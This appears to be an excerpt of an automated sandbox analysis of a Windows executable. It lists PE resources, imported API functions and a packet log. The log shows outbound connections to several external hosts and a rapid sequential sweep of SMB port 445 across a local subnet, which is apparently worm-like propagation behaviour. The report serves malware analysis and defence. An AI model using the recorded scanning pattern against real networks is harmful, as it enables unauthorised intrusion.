RT_ICON	0x908ba0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152			0.24413357400722022
RT_MENU	0x9025b4	0xc	OpenPGP Public Key	Chinese	China	1.6666666666666667
RT_MENU	0x9025c0	0x284	data	Chinese	China	1.0170807453416149
RT_DIALOG	0x902844	0x98	data	Chinese	China	1.0723684210526316
RT_DIALOG	0x9028dc	0x17a	data	Chinese	China	1.029100529100529
RT_DIALOG	0x902a58	0xfa	data	Chinese	China	1.044
RT_DIALOG	0x902b54	0xea	data	Chinese	China	1.047008547008547
RT_DIALOG	0x902c40	0x8ae	data	Chinese	China	0.9945994599459946
RT_DIALOG	0x9034f0	0xb2	data	Chinese	China	1.0617977528089888
RT_DIALOG	0x9035a4	0xcc	data	Chinese	China	1.053921568627451
RT_DIALOG	0x903670	0xb2	data	Chinese	China	1.0617977528089888
RT_DIALOG	0x903724	0xe2	data	Chinese	China	1.0486725663716814
RT_DIALOG	0x903808	0x18c	data	Chinese	China	1.0277777777777777
RT_STRING	0x903994	0x50	data	Chinese	China	1.1375
RT_STRING	0x9039e4	0x2c	data	Chinese	China	1.25
RT_STRING	0x903a10	0x78	data	Chinese	China	1.0916666666666666
RT_STRING	0x903a88	0x1c4	data	Chinese	China	1.0243362831858407
RT_STRING	0x903c4c	0x12a	data	Chinese	China	1.0369127516778522
RT_STRING	0x903d78	0x146	data	Chinese	China	1.0337423312883436
RT_STRING	0x903ec0	0x40	data	Chinese	China	1.171875
RT_STRING	0x903f00	0x64	data	Chinese	China	1.11
RT_STRING	0x903f64	0x1d8	PGP Secret Sub-key -	Chinese	China	1.0233050847457628
RT_STRING	0x90413c	0x114	Apollo m68k COFF executable not stripped - version 790	Chinese	China	1.039855072463768
RT_STRING	0x904250	0x24	data	Chinese	China	1.25
RT_GROUP_CURSOR	0x904274	0x14	data	Chinese	China	1.4
RT_GROUP_CURSOR	0x904288	0x14	data	Chinese	China	1.4
RT_GROUP_CURSOR	0x90429c	0x22	data	Chinese	China	1.2647058823529411
RT_GROUP_ICON	0x90944c	0x14	data			1.15
RT_GROUP_ICON	0x9042d4	0x14	data	Chinese	China	1.45
RT_GROUP_ICON	0x9042e8	0x14	data	Chinese	China	1.4
RT_VERSION	0x909464	0x248	data	Chinese	China	0.4674657534246575
RT_MANIFEST	0x9096b0	0x1cd	XML 1.0 document, ASCII text, with very long lines (461), with no line terminators			0.5878524945770065

Imports

DLL	Import
ADVAPI32.dll	RegCloseKey
COMCTL32.dll
comdlg32.dll	ChooseColorA
GDI32.dll	LineTo
KERNEL32.DLL	LoadLibraryA, ExitProcess, GetProcAddress, VirtualProtect
ole32.dll	OleRun
OLEAUT32.dll	VariantClear
SHELL32.dll	ShellExecuteA
USER32.dll	GetDC
WINMM.dll	waveOutOpen
WINSPOOL.DRV	OpenPrinterA
WS2_32.dll	getpeername

Possible Origin

Language of compilation system	Country where language is spoken	Map
Chinese	China

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 6, 2024 14:10:55.131181002 CEST	443	49734	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:55.131552935 CEST	49734	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:55.186055899 CEST	49734	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:55.186086893 CEST	443	49734	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:55.186386108 CEST	443	49734	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:55.187371969 CEST	49734	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:55.187438965 CEST	49734	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:55.187459946 CEST	443	49734	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:55.757024050 CEST	443	49734	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:55.757065058 CEST	443	49734	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:55.757137060 CEST	443	49734	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:55.757158041 CEST	49734	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:55.757174015 CEST	443	49734	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:55.757213116 CEST	49734	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:55.757236958 CEST	443	49734	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:55.757276058 CEST	49734	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:55.757292032 CEST	443	49734	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:55.757333994 CEST	49734	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:55.885668993 CEST	49734	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:55.885698080 CEST	443	49734	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:55.885742903 CEST	49734	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:55.885751963 CEST	443	49734	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:56.301069975 CEST	49736	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:56.301357031 CEST	443	49736	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:56.301626921 CEST	49736	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:56.317225933 CEST	49736	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:56.317250013 CEST	443	49736	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:56.329143047 CEST	443	49736	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:56.331130028 CEST	49737	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:56.331186056 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:56.331264019 CEST	49737	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:56.331561089 CEST	49737	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:56.331578016 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:56.961644888 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:56.961823940 CEST	49737	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:56.962188959 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.010154963 CEST	49737	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:57.129235029 CEST	49737	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:57.129252911 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.335445881 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.336107969 CEST	49737	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:57.336133957 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.336158037 CEST	49737	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:57.336169958 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.689040899 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.689282894 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.689352989 CEST	49737	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:57.689383984 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.689837933 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.689894915 CEST	49737	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:57.689908981 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.690418959 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.690506935 CEST	49737	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:57.690515995 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.691072941 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.691085100 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.691114902 CEST	49737	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:57.691124916 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.691165924 CEST	49737	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:57.691394091 CEST	49737	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:57.691400051 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.691417933 CEST	49737	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:57.691479921 CEST	443	49737	40.126.32.134	192.168.2.6
Jul 6, 2024 14:10:57.691524029 CEST	49737	443	192.168.2.6	40.126.32.134
Jul 6, 2024 14:10:57.714972973 CEST	49741	443	192.168.2.6	40.113.110.67
Jul 6, 2024 14:10:57.715001106 CEST	443	49741	40.113.110.67	192.168.2.6
Jul 6, 2024 14:10:57.715090990 CEST	49741	443	192.168.2.6	40.113.110.67
Jul 6, 2024 14:10:57.715715885 CEST	49741	443	192.168.2.6	40.113.110.67
Jul 6, 2024 14:10:57.715728998 CEST	443	49741	40.113.110.67	192.168.2.6
Jul 6, 2024 14:10:57.742737055 CEST	443	49741	40.113.110.67	192.168.2.6
Jul 6, 2024 14:10:57.742872000 CEST	49741	443	192.168.2.6	40.113.110.67
Jul 6, 2024 14:10:57.742995977 CEST	49741	443	192.168.2.6	40.113.110.67
Jul 6, 2024 14:10:57.743009090 CEST	443	49741	40.113.110.67	192.168.2.6
Jul 6, 2024 14:10:57.744271040 CEST	49742	443	192.168.2.6	40.113.110.67
Jul 6, 2024 14:10:57.744292021 CEST	443	49742	40.113.110.67	192.168.2.6
Jul 6, 2024 14:10:57.744355917 CEST	49742	443	192.168.2.6	40.113.110.67
Jul 6, 2024 14:10:57.745006084 CEST	49742	443	192.168.2.6	40.113.110.67
Jul 6, 2024 14:10:57.745022058 CEST	443	49742	40.113.110.67	192.168.2.6
Jul 6, 2024 14:10:57.760083914 CEST	443	49742	40.113.110.67	192.168.2.6
Jul 6, 2024 14:10:58.256613016 CEST	49674	443	192.168.2.6	173.222.162.64
Jul 6, 2024 14:10:58.256613016 CEST	49673	443	192.168.2.6	173.222.162.64
Jul 6, 2024 14:10:58.537889957 CEST	49672	443	192.168.2.6	173.222.162.64
Jul 6, 2024 14:11:04.270303011 CEST	49743	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:04.270348072 CEST	443	49743	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:04.270415068 CEST	49743	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:04.271152020 CEST	49743	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:04.271173000 CEST	443	49743	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:04.285387993 CEST	443	49743	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:04.287827969 CEST	49744	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:04.287846088 CEST	443	49744	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:04.287925005 CEST	49744	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:04.288722038 CEST	49744	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:04.288733959 CEST	443	49744	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:04.299396992 CEST	443	49744	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:07.284538031 CEST	49745	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:07.290592909 CEST	443	49745	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:07.475816965 CEST	49745	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:07.969655037 CEST	49674	443	192.168.2.6	173.222.162.64
Jul 6, 2024 14:11:07.969655037 CEST	49673	443	192.168.2.6	173.222.162.64
Jul 6, 2024 14:11:08.137244940 CEST	49672	443	192.168.2.6	173.222.162.64
Jul 6, 2024 14:11:08.411870956 CEST	49746	80	192.168.2.6	118.184.169.48
Jul 6, 2024 14:11:08.417021990 CEST	80	49746	118.184.169.48	192.168.2.6
Jul 6, 2024 14:11:08.433125019 CEST	49746	80	192.168.2.6	118.184.169.48
Jul 6, 2024 14:11:08.433125019 CEST	49746	80	192.168.2.6	118.184.169.48
Jul 6, 2024 14:11:08.440882921 CEST	80	49746	118.184.169.48	192.168.2.6
Jul 6, 2024 14:11:08.441412926 CEST	80	49746	118.184.169.48	192.168.2.6
Jul 6, 2024 14:11:08.621838093 CEST	49747	80	192.168.2.6	45.113.194.189
Jul 6, 2024 14:11:08.659049988 CEST	80	49747	45.113.194.189	192.168.2.6
Jul 6, 2024 14:11:08.747641087 CEST	49747	80	192.168.2.6	45.113.194.189
Jul 6, 2024 14:11:08.764794111 CEST	49747	80	192.168.2.6	45.113.194.189
Jul 6, 2024 14:11:08.768990993 CEST	80	49747	45.113.194.189	192.168.2.6
Jul 6, 2024 14:11:08.778845072 CEST	80	49747	45.113.194.189	192.168.2.6
Jul 6, 2024 14:11:08.868168116 CEST	49747	80	192.168.2.6	45.113.194.189
Jul 6, 2024 14:11:08.868168116 CEST	49747	80	192.168.2.6	45.113.194.189
Jul 6, 2024 14:11:08.879745960 CEST	80	49747	45.113.194.189	192.168.2.6
Jul 6, 2024 14:11:08.879755020 CEST	80	49747	45.113.194.189	192.168.2.6
Jul 6, 2024 14:11:13.357311964 CEST	49748	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:13.357342958 CEST	443	49748	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:13.357553959 CEST	49748	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:13.358413935 CEST	49748	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:13.358428001 CEST	443	49748	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:13.375204086 CEST	443	49748	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:13.376768112 CEST	49749	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:13.376790047 CEST	443	49749	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:13.376902103 CEST	49749	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:13.377692938 CEST	49749	443	192.168.2.6	40.115.3.253
Jul 6, 2024 14:11:13.377708912 CEST	443	49749	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:13.388159037 CEST	443	49749	40.115.3.253	192.168.2.6
Jul 6, 2024 14:11:18.356749058 CEST	49750	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.356781960 CEST	443	49750	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.356853008 CEST	49750	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.358551025 CEST	49750	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.358567953 CEST	443	49750	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.379666090 CEST	443	49750	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.379723072 CEST	49750	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.379810095 CEST	49750	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.379822969 CEST	443	49750	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.420705080 CEST	49751	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.420722008 CEST	443	49751	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.420783997 CEST	49751	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.421113968 CEST	49751	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.421124935 CEST	443	49751	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.441284895 CEST	443	49751	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.441375017 CEST	49751	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.441462994 CEST	49751	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.441472054 CEST	443	49751	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.498281002 CEST	49752	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.498301029 CEST	443	49752	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.498368979 CEST	49752	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.498759031 CEST	49752	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.498769045 CEST	443	49752	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.509025097 CEST	443	49752	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.535214901 CEST	49753	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.535248995 CEST	443	49753	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.535319090 CEST	49753	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.536017895 CEST	49753	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.536039114 CEST	443	49753	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.546446085 CEST	443	49753	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.769052029 CEST	49754	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.769078970 CEST	443	49754	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.769141912 CEST	49754	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.769449949 CEST	49754	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.769464016 CEST	443	49754	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.790174961 CEST	443	49754	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.790235996 CEST	49754	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.794256926 CEST	49754	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.794269085 CEST	443	49754	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.795870066 CEST	49755	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.795886993 CEST	443	49755	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.796029091 CEST	49755	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.796418905 CEST	49755	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.796428919 CEST	443	49755	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.809467077 CEST	443	49755	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.902295113 CEST	49756	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.902327061 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:18.902425051 CEST	49756	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.902775049 CEST	49756	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:18.902789116 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:19.345921040 CEST	49757	445	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:19.352562904 CEST	49758	445	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:19.355341911 CEST	445	49757	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:19.355424881 CEST	49757	445	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:19.356406927 CEST	49757	445	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:19.358498096 CEST	445	49758	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:19.358555079 CEST	49758	445	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:19.358669996 CEST	49758	445	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:19.360943079 CEST	445	49757	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:19.360991001 CEST	49757	445	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:19.361466885 CEST	445	49757	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:19.364389896 CEST	445	49758	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:19.364460945 CEST	49758	445	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:19.368801117 CEST	49759	445	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:19.375751019 CEST	445	49759	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:19.375814915 CEST	49759	445	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:19.375902891 CEST	49759	445	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:19.384428978 CEST	49760	445	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:19.388613939 CEST	445	49759	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:19.388679028 CEST	49759	445	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:19.392050028 CEST	445	49760	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:19.392115116 CEST	49760	445	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:19.392210960 CEST	49760	445	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:19.400288105 CEST	49761	445	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:19.402573109 CEST	445	49760	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:19.402707100 CEST	49760	445	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:19.408600092 CEST	445	49761	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:19.408658028 CEST	49761	445	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:19.408947945 CEST	49761	445	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:19.414621115 CEST	445	49761	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:19.414670944 CEST	49761	445	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:19.419312954 CEST	49762	445	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:19.424592972 CEST	445	49762	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:19.424884081 CEST	49762	445	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:19.425093889 CEST	49762	445	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:19.430491924 CEST	49763	445	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:19.430861950 CEST	445	49762	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:19.430908918 CEST	49762	445	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:19.436633110 CEST	445	49763	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:19.438380003 CEST	49763	445	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:19.438496113 CEST	49763	445	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:19.444238901 CEST	445	49763	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:19.444281101 CEST	49763	445	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:19.446141958 CEST	49764	445	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:19.451493025 CEST	445	49764	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:19.452104092 CEST	49764	445	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:19.457392931 CEST	445	49764	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:19.460464954 CEST	49764	445	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:19.460465908 CEST	49764	445	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:19.463069916 CEST	49765	445	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:19.465800047 CEST	445	49764	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:19.468529940 CEST	445	49765	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:19.469445944 CEST	49765	445	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:19.469562054 CEST	49765	445	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:19.474507093 CEST	445	49765	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:19.474550962 CEST	49765	445	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:19.477730036 CEST	49766	445	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:19.482934952 CEST	445	49766	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:19.484464884 CEST	49766	445	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:19.484570026 CEST	49766	445	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:19.490041971 CEST	445	49766	192.168.0.11	192.168.2.6
Jul 6, 2024 14:11:19.490312099 CEST	49766	445	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:19.492244959 CEST	49767	445	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:19.497724056 CEST	445	49767	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:19.499732018 CEST	49767	445	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:19.499732018 CEST	49767	445	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:19.505528927 CEST	445	49767	192.168.0.12	192.168.2.6
Jul 6, 2024 14:11:19.505620956 CEST	49767	445	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:19.508160114 CEST	49768	445	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:19.513071060 CEST	445	49768	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:19.513144970 CEST	49768	445	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:19.513200045 CEST	49768	445	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:19.518529892 CEST	445	49768	192.168.0.13	192.168.2.6
Jul 6, 2024 14:11:19.519328117 CEST	49768	445	192.168.2.6	192.168.0.13
Jul 6, 2024 14:11:19.523479939 CEST	49769	445	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:19.528539896 CEST	445	49769	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:19.528609037 CEST	49769	445	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:19.528706074 CEST	49769	445	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:19.534218073 CEST	445	49769	192.168.0.14	192.168.2.6
Jul 6, 2024 14:11:19.534261942 CEST	49769	445	192.168.2.6	192.168.0.14
Jul 6, 2024 14:11:19.539133072 CEST	49770	445	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:19.544404984 CEST	445	49770	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:19.544466972 CEST	49770	445	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:19.549889088 CEST	445	49770	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:19.549952984 CEST	49770	445	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:19.553626060 CEST	49770	445	192.168.2.6	192.168.0.15
Jul 6, 2024 14:11:19.555263042 CEST	49771	445	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:19.558617115 CEST	445	49770	192.168.0.15	192.168.2.6
Jul 6, 2024 14:11:19.560921907 CEST	445	49771	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:19.560997963 CEST	49771	445	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:19.561111927 CEST	49771	445	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:19.566554070 CEST	445	49771	192.168.0.16	192.168.2.6
Jul 6, 2024 14:11:19.566610098 CEST	49771	445	192.168.2.6	192.168.0.16
Jul 6, 2024 14:11:19.576020956 CEST	49772	445	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:19.581178904 CEST	445	49772	192.168.0.17	192.168.2.6
Jul 6, 2024 14:11:19.581238985 CEST	49772	445	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:19.581332922 CEST	49772	445	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:19.586847067 CEST	445	49772	192.168.0.17	192.168.2.6
Jul 6, 2024 14:11:19.586889982 CEST	49772	445	192.168.2.6	192.168.0.17
Jul 6, 2024 14:11:19.590574980 CEST	49773	445	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:19.595910072 CEST	445	49773	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:19.596503973 CEST	49773	445	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:19.596503973 CEST	49773	445	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:19.598273993 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:19.598365068 CEST	49756	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:19.600379944 CEST	49756	443	192.168.2.6	52.165.165.26
Jul 6, 2024 14:11:19.600389004 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:19.600603104 CEST	443	49756	52.165.165.26	192.168.2.6
Jul 6, 2024 14:11:19.601814985 CEST	49774	445	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:19.602663994 CEST	445	49773	192.168.0.18	192.168.2.6
Jul 6, 2024 14:11:19.602727890 CEST	49773	445	192.168.2.6	192.168.0.18
Jul 6, 2024 14:11:19.607635021 CEST	445	49774	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:19.607691050 CEST	49774	445	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:19.613142967 CEST	445	49774	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:19.614372015 CEST	49774	445	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:19.616472960 CEST	49774	445	192.168.2.6	192.168.0.19
Jul 6, 2024 14:11:19.622766972 CEST	445	49774	192.168.0.19	192.168.2.6
Jul 6, 2024 14:11:19.637103081 CEST	49775	445	192.168.2.6	192.168.0.20
Jul 6, 2024 14:11:19.638561964 CEST	49776	445	192.168.2.6	192.168.0.21
Jul 6, 2024 14:11:19.641881943 CEST	445	49775	192.168.0.20	192.168.2.6
Jul 6, 2024 14:11:19.643393993 CEST	445	49776	192.168.0.21	192.168.2.6
